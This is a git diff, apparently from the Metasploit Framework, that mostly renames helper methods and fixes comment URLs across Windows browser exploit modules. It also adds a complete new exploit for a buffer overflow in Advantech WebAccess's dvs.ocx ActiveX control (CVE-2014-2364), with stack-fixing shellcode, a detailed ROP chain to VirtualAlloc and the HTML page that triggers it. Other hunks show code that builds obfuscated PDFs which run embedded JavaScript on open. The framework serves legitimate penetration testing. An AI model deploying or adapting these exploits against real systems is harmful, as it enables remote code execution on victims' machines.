n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj xref << pdf.length - pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj + pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj xref << pdf.length - pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj + pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj xref << pdf.length - pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj + pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj xref << pdf.length - pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj + pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj xref << pdf.length - compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) - pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol + compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js)) + pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -210,7 +210,7 @@ util.printd(#{rand3}, new Date()); xref.each do |index| pdf << "%010d 00000 n" % index << eol end - pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol + pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol diff --git a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb index d51bd78a0f..f48ae794ac 100644 --- a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb +++ b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_toolbutton.rb b/modules/exploits/windows/browser/adobe_toolbutton.rb index 5432fbf4f3..388c30fe6b 100644 --- a/modules/exploits/windows/browser/adobe_toolbutton.rb +++ b/modules/exploits/windows/browser/adobe_toolbutton.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -49,8 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BrowserRequirements' => { :source => /script|headers/i, - :os_name => Msf::OperatingSystems::WINDOWS, - :os_flavor => Msf::OperatingSystems::WindowsVersions::XP, + :os_name => OperatingSystems::Match::WINDOWS_XP, :ua_name => Msf::HttpClients::IE }, 'Targets' => @@ -173,7 +172,7 @@ if (vulnerable) { js end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -181,17 +180,17 @@ if (vulnerable) { result end - def ioDef(id) + def io_def(id) "%d 0 obj \n" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) #return str result = "" str.scan(/./u) do |c| @@ -205,7 +204,7 @@ if (vulnerable) { end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -223,47 +222,47 @@ if (vulnerable) { # Randomize PDF version? pdf = "%PDF-1.5" << eol - pdf << "%" << RandomNonASCIIString(4) << eol + pdf << "%" << random_non_ascii_string(4) << eol # catalog xref << pdf.length - pdf << ioDef(1) << nObfu("<<") << eol - pdf << nObfu("/Pages ") << ioRef(2) << eol - pdf << nObfu("/Type /Catalog") << eol - pdf << nObfu("/OpenAction ") << ioRef(4) << eol + pdf << io_def(1) << n_obfu("<<") << eol + pdf << n_obfu("/Pages ") << io_ref(2) << eol + pdf << n_obfu("/Type /Catalog") << eol + pdf << n_obfu("/OpenAction ") << io_ref(4) << eol # The AcroForm is required to get icucnv36.dll / icucnv40.dll to load - pdf << nObfu("/AcroForm ") << ioRef(6) << eol - pdf << nObfu(">>") << eol + pdf << n_obfu("/AcroForm ") << io_ref(6) << eol + pdf << n_obfu(">>") << eol pdf << endobj # pages array xref << pdf.length - pdf << ioDef(2) << nObfu("<<") << eol - pdf << nObfu("/Kids [") << ioRef(3) << "]" << eol - pdf << nObfu("/Count 1") << eol - pdf << nObfu("/Type /Pages") << eol - pdf << nObfu(">>") << eol + pdf << io_def(2) << n_obfu("<<") << eol + pdf << n_obfu("/Kids [") << io_ref(3) << "]" << eol + pdf << n_obfu("/Count 1") << eol + pdf << n_obfu("/Type /Pages") << eol + pdf << n_obfu(">>") << eol pdf << endobj # page 1 xref << pdf.length - pdf << ioDef(3) << nObfu("<<") << eol - pdf << nObfu("/Parent ") << ioRef(2) << eol - pdf << nObfu("/Type /Page") << eol - pdf << nObfu(">>") << eol # end obj dict + pdf << io_def(3) << n_obfu("<<") << eol + pdf << n_obfu("/Parent ") << io_ref(2) << eol + pdf << n_obfu("/Type /Page") << eol + pdf << n_obfu(">>") << eol # end obj dict pdf << endobj # js action xref << pdf.length - pdf << ioDef(4) << nObfu("<<") - pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(5) - pdf << nObfu(">>") << eol + pdf << io_def(4) << n_obfu("<<") + pdf << n_obfu("/Type/Action/S/JavaScript/JS ") + io_ref(5) + pdf << n_obfu(">>") << eol pdf << endobj # js stream xref << pdf.length - compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) - pdf << ioDef(5) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol + compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js)) + pdf << io_def(5) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -275,8 +274,8 @@ if (vulnerable) { # form object xref << pdf.length - pdf << ioDef(6) - pdf << nObfu("<</XFA ") << ioRef(7) << nObfu(">>") << eol + pdf << io_def(6) + pdf << n_obfu("<</XFA ") << io_ref(7) << n_obfu(">>") << eol pdf << endobj # form stream @@ -293,7 +292,7 @@ if (vulnerable) { EOF xref << pdf.length - pdf << ioDef(7) << nObfu("<</Length %s>>" % xfa.length) << eol + pdf << io_def(7) << n_obfu("<</Length %s>>" % xfa.length) << eol pdf << "stream" << eol pdf << xfa << eol pdf << "endstream" << eol @@ -314,7 +313,7 @@ if (vulnerable) { end pdf << "trailer" << eol - pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol + pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol diff --git a/modules/exploits/windows/browser/adobe_utilprintf.rb b/modules/exploits/windows/browser/adobe_utilprintf.rb index 4f7a202571..392d49790e 100644 --- a/modules/exploits/windows/browser/adobe_utilprintf.rb +++ b/modules/exploits/windows/browser/adobe_utilprintf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -102,7 +102,7 @@ class Metasploit3 < Msf::Exploit::Remote end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -110,16 +110,16 @@ class Metasploit3 < Msf::Exploit::Remote result end - def ioDef(id) + def io_def(id) "%d 0 obj" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' @@ -131,7 +131,7 @@ class Metasploit3 < Msf::Exploit::Remote result end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -149,20 +149,20 @@ class Metasploit3 < Msf::Exploit::Remote pdf = "%PDF-1.5" << eol - pdf << "%" << RandomNonASCIIString(4) << eol + pdf << "%" << random_non_ascii_string(4) << eol xref << pdf.length - pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj + pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj xref << pdf.length - pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj + pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj xref << pdf.length - pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj + pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj xref << pdf.length - pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj + pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj xref << pdf.length - pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj + pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj xref << pdf.length - compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) - pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol + compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js)) + pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -174,7 +174,7 @@ class Metasploit3 < Msf::Exploit::Remote xref.each do |index| pdf << "%010d 00000 n" % index << eol end - pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol + pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol diff --git a/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb b/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb new file mode 100644 index 0000000000..bff97047fe --- /dev/null +++ b/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb @@ -0,0 +1,163 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Advantech WebAccess dvs.ocx GetColor Buffer Overflow', + 'Description' => %q{ + This module exploits a buffer overflow vulnerability in Advantec WebAccess. The + vulnerability exists in the dvs.ocx ActiveX control, where a dangerous call to + sprintf can be reached with user controlled data through the GetColor function. + This module has been tested successfully on Windows XP SP3 with IE6 and Windows + 7 SP1 with IE8 and IE 9. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + ['CVE', '2014-2364'], + ['ZDI', '14-255'], + ['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-198-02'] + ], + 'DefaultOptions' => + { + 'Retries' => false, + 'InitialAutoRunScript' => 'migrate -f' + }, + 'BrowserRequirements' => + { + :source => /script|headers/i, + :os_name => OperatingSystems::Match::WINDOWS, + :ua_name => /MSIE/i, + :ua_ver => lambda { |ver| Gem::Version.new(ver) < Gem::Version.new('10') }, + :clsid => "{5CE92A27-9F6A-11D2-9D3D-000001155641}", + :method => "GetColor" + }, + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true, + 'BadChars' => "\x00\x0a\x0d\x5c", + # Patch the stack to execute the decoder... + 'PrependEncoder' => "\x81\xc4\x9c\xff\xff\xff", # add esp, -100 + # Fix the stack again, this time better :), before the payload + # is executed. + 'Prepend' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18] + "\x83\xC0\x08" + # add eax, byte 8 + "\x8b\x20" + # mov esp, [eax] + "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 + }, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'Automatic', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 17 2014')) + end + + def on_request_exploit(cli, request, target_info) + print_status("Requested: #{request.uri}") + + content = <<-EOS +<html> +<head> +<meta http-equiv="cache-control" content="max-age=0" /> +<meta http-equiv="cache-control" content="no-cache" /> +<meta http-equiv="expires" content="0" /> +<meta http-equiv="expires" content="Tue, 01 Jan 1980 1:00:00 GMT" /> +<meta http-equiv="pragma" content="no-cache" /> +</head> +<body> +<object classid='clsid:5CE92A27-9F6A-11D2-9D3D-000001155641' id='test' /></object> +<script language='javascript'> +test.GetColor("#{rop_payload(get_payload(cli, target_info))}", 0); +</script> +</body> +</html> + EOS + + print_status("Sending #{self.name}") + send_response_html(cli, content, {'Pragma' => 'no-cache'}) + end + + # Uses gadgets from ijl11.dll 1.1.2.16 + def rop_payload(code) + xpl = rand_text_alphanumeric(61) # offset + xpl << [0x60014185].pack("V") # RET + xpl << rand_text_alphanumeric(8) + + # EBX = dwSize (0x40) + xpl << [0x60012288].pack("V") # POP ECX # RETN + xpl << [0xffffffff].pack("V") # ecx value + xpl << [0x6002157e].pack("V") # POP EAX # RETN + xpl << [0x9ffdafc9].pack("V") # eax value + xpl << [0x60022b97].pack("V") # ADC EAX,60025078 # RETN + xpl << [0x60024ea4].pack("V") # MUL EAX,ECX # RETN 0x10 + xpl << [0x60018084].pack("V") # POP EBP # RETN + xpl << rand_text_alphanumeric(4) # padding + xpl << rand_text_alphanumeric(4) # padding + xpl << rand_text_alphanumeric(4) # padding + xpl << rand_text_alphanumeric(4) # padding + xpl << [0x60029f6c].pack("V") # .data ijl11.dll + xpl << [0x60012288].pack("V") # POP ECX # RETN + xpl << [0x60023588].pack("V") # ECX => (&POP EBX # RETN) + xpl << [0x6001f1c8].pack("V") # push edx # or al,39h # push ecx # or byte ptr [ebp+5], dh # mov eax, 1 # ret + # EDX = flAllocationType (0x1000) + xpl << [0x60012288].pack("V") # POP ECX # RETN + xpl << [0xffffffff].pack("V") # ecx value + xpl << [0x6002157e].pack("V") # POP EAX # RETN + xpl << [0x9ffdbf89].pack("V") # eax value + xpl << [0x60022b97].pack("V") # ADC EAX,60025078 # RETN + xpl << [0x60024ea4].pack("V") # MUL EAX,ECX # RETN 0x10 + # ECX = flProtect (0x40) + xpl << [0x6002157e].pack("V") # POP EAX # RETN + xpl << rand_text_alphanumeric(4) # padding + xpl << rand_text_alphanumeric(4) # padding + xpl << rand_text_alphanumeric(4) # padding + xpl << rand_text_alphanumeric(4) # padding + xpl << [0x60029f6c].pack("V") # .data ijl11.dll + xpl << [0x60012288].pack("V") # POP ECX # RETN + xpl << [0xffffffff].pack("V") # ecx value + 0x41.times do + xpl << [0x6001b8ec].pack("V") # INC ECX # MOV DWORD PTR DS:[EAX],ECX # RETN + end + # EAX = ptr to &VirtualAlloc() + xpl << [0x6001db7e].pack("V") # POP EAX # RETN [ijl11.dll] + xpl << [0x600250c8].pack("V") # ptr to &VirtualAlloc() [IAT ijl11.dll] + # EBP = POP (skip 4 bytes) + xpl << [0x6002054b].pack("V") # POP EBP # RETN + xpl << [0x6002054b].pack("V") # ptr to &(# pop ebp # retn) + # ESI = ptr to JMP [EAX] + xpl << [0x600181cc].pack("V") # POP ESI # RETN + xpl << [0x6002176e].pack("V") # ptr to &(# jmp[eax]) + # EDI = ROP NOP (RETN) + xpl << [0x60021ad1].pack("V") # POP EDI # RETN + xpl << [0x60021ad2].pack("V") # ptr to &(retn) + # ESP = lpAddress (automatic) + # PUSHAD # RETN + xpl << [0x60018399].pack("V") # PUSHAD # RETN + xpl << [0x6001c5cd].pack("V") # ptr to &(# push esp # retn) + xpl << code + + xpl.gsub!("\"", "\\\"") # Escape double quote, to not break javascript string + xpl.gsub!("\\", "\\\\") # Escape back slash, to avoid javascript escaping + + xpl + end + +end diff --git a/modules/exploits/windows/browser/aim_goaway.rb b/modules/exploits/windows/browser/aim_goaway.rb index 43558fc78d..cd7abc4965 100644 --- a/modules/exploits/windows/browser/aim_goaway.rb +++ b/modules/exploits/windows/browser/aim_goaway.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb index 433d73d80e..c2c9c05d68 100644 --- a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb +++ b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote :source => /script|headers/i, :clsid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}", :method => "ChooseFilePath", - :os_name => /win/i + :os_name => OperatingSystems::Match::WINDOWS, }, 'Targets' => [ @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Windows XP with IE 6', { - 'os_flavor' => 'XP', + 'os_name' => OperatingSystems::Match::WINDOWS_XP, 'ua_name' => 'MSIE', 'ua_ver' => '6.0', 'Rop' => false, @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Windows XP with IE 7', { - 'os_flavor' => 'XP', + 'os_name' => OperatingSystems::Match::WINDOWS_XP, 'ua_name' => 'MSIE', 'ua_ver' => '7.0', 'Rop' => false, @@ -77,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Windows XP with IE 8', { - 'os_flavor' => 'XP', + 'os_name' => OperatingSystems::Match::WINDOWS_XP, 'ua_name' => 'MSIE', 'ua_ver' => '8.0', 'Rop' => true, @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Windows Vista with IE 7', { - 'os_flavor' => 'Vista', + 'os_name' => OperatingSystems::Match::WINDOWS_VISTA, 'ua_name' => 'MSIE', 'ua_ver' => '7.0', 'Rop' => false, diff --git a/modules/exploits/windows/browser/amaya_bdo.rb b/modules/exploits/windows/browser/amaya_bdo.rb index 4f4966d7b7..0ed7599111 100644 --- a/modules/exploits/windows/browser/amaya_bdo.rb +++ b/modules/exploits/windows/browser/amaya_bdo.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/aol_ampx_convertfile.rb b/modules/exploits/windows/browser/aol_ampx_convertfile.rb index 6555bafae9..618ceede6d 100644 --- a/modules/exploits/windows/browser/aol_ampx_convertfile.rb +++ b/modules/exploits/windows/browser/aol_ampx_convertfile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/aol_icq_downloadagent.rb b/modules/exploits/windows/browser/aol_icq_downloadagent.rb index 48d46a68f5..6426521138 100644 --- a/modules/exploits/windows/browser/aol_icq_downloadagent.rb +++ b/modules/exploits/windows/browser/aol_icq_downloadagent.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/apple_itunes_playlist.rb b/modules/exploits/windows/browser/apple_itunes_playlist.rb index c69bd1275b..38e8c16c39 100644 --- a/modules/exploits/windows/browser/apple_itunes_playlist.rb +++ b/modules/exploits/windows/browser/apple_itunes_playlist.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb b/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb index a9d460988b..8907f6869c 100644 --- a/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb +++ b/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :ua_name => HttpClients::IE, # :javascript => true, # :rank => NormalRanking, # reliable memory corruption diff --git a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb index 84edee8e8d..69d6b8a164 100644 --- a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb +++ b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :ua_name => HttpClients::SAFARI, # :ua_maxver => '5.0.1', # :ua_maxver => '5.1.7', diff --git a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb index 10af9660df..fd94da6b32 100644 --- a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb +++ b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/apple_quicktime_rtsp.rb b/modules/exploits/windows/browser/apple_quicktime_rtsp.rb index 7387c651f7..46fcbed806 100644 --- a/modules/exploits/windows/browser/apple_quicktime_rtsp.rb +++ b/modules/exploits/windows/browser/apple_quicktime_rtsp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # # No particular browser. Works on at least IE6 and Firefox 1.5.0.3 # :javascript => true, # :rank => NormalRanking, # reliable memory corruption diff --git a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb index 96d57cf54b..2355aab342 100644 --- a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb +++ b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :javascript => true, # :rank => NormalRanking, # reliable memory corruption # :vuln_test => nil, diff --git a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb index 3db798b445..6d58e6d12d 100644 --- a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb +++ b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :javascript => true, # :rank => NormalRanking #}) @@ -296,4 +296,4 @@ int __fastcall sub_67EED2B0(int a1, int a2) } return result; } -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/ask_shortformat.rb b/modules/exploits/windows/browser/ask_shortformat.rb index ce83a7afd2..bb79ac5767 100644 --- a/modules/exploits/windows/browser/ask_shortformat.rb +++ b/modules/exploits/windows/browser/ask_shortformat.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb index 7b5c1fd352..1bd56b231c 100644 --- a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb +++ b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/athocgov_completeinstallation.rb b/modules/exploits/windows/browser/athocgov_completeinstallation.rb index b6fe96a393..85ddced7b4 100644 --- a/modules/exploits/windows/browser/athocgov_completeinstallation.rb +++ b/modules/exploits/windows/browser/athocgov_completeinstallation.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/autodesk_idrop.rb b/modules/exploits/windows/browser/autodesk_idrop.rb index d5f160e089..523b471db6 100644 --- a/modules/exploits/windows/browser/autodesk_idrop.rb +++ b/modules/exploits/windows/browser/autodesk_idrop.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/aventail_epi_activex.rb b/modules/exploits/windows/browser/aventail_epi_activex.rb index e4623c7a7c..a8e80a26fa 100644 --- a/modules/exploits/windows/browser/aventail_epi_activex.rb +++ b/modules/exploits/windows/browser/aventail_epi_activex.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/awingsoft_web3d_bof.rb b/modules/exploits/windows/browser/awingsoft_web3d_bof.rb index b3cabe552e..50e9b2a3dd 100644 --- a/modules/exploits/windows/browser/awingsoft_web3d_bof.rb +++ b/modules/exploits/windows/browser/awingsoft_web3d_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb b/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb index a7829c7524..d0be485f04 100644 --- a/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb +++ b/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb b/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb index 39984319ef..271caa3851 100644 --- a/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb +++ b/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/barcode_ax49.rb b/modules/exploits/windows/browser/barcode_ax49.rb index 008e65a2a5..bf6181bd25 100644 --- a/modules/exploits/windows/browser/barcode_ax49.rb +++ 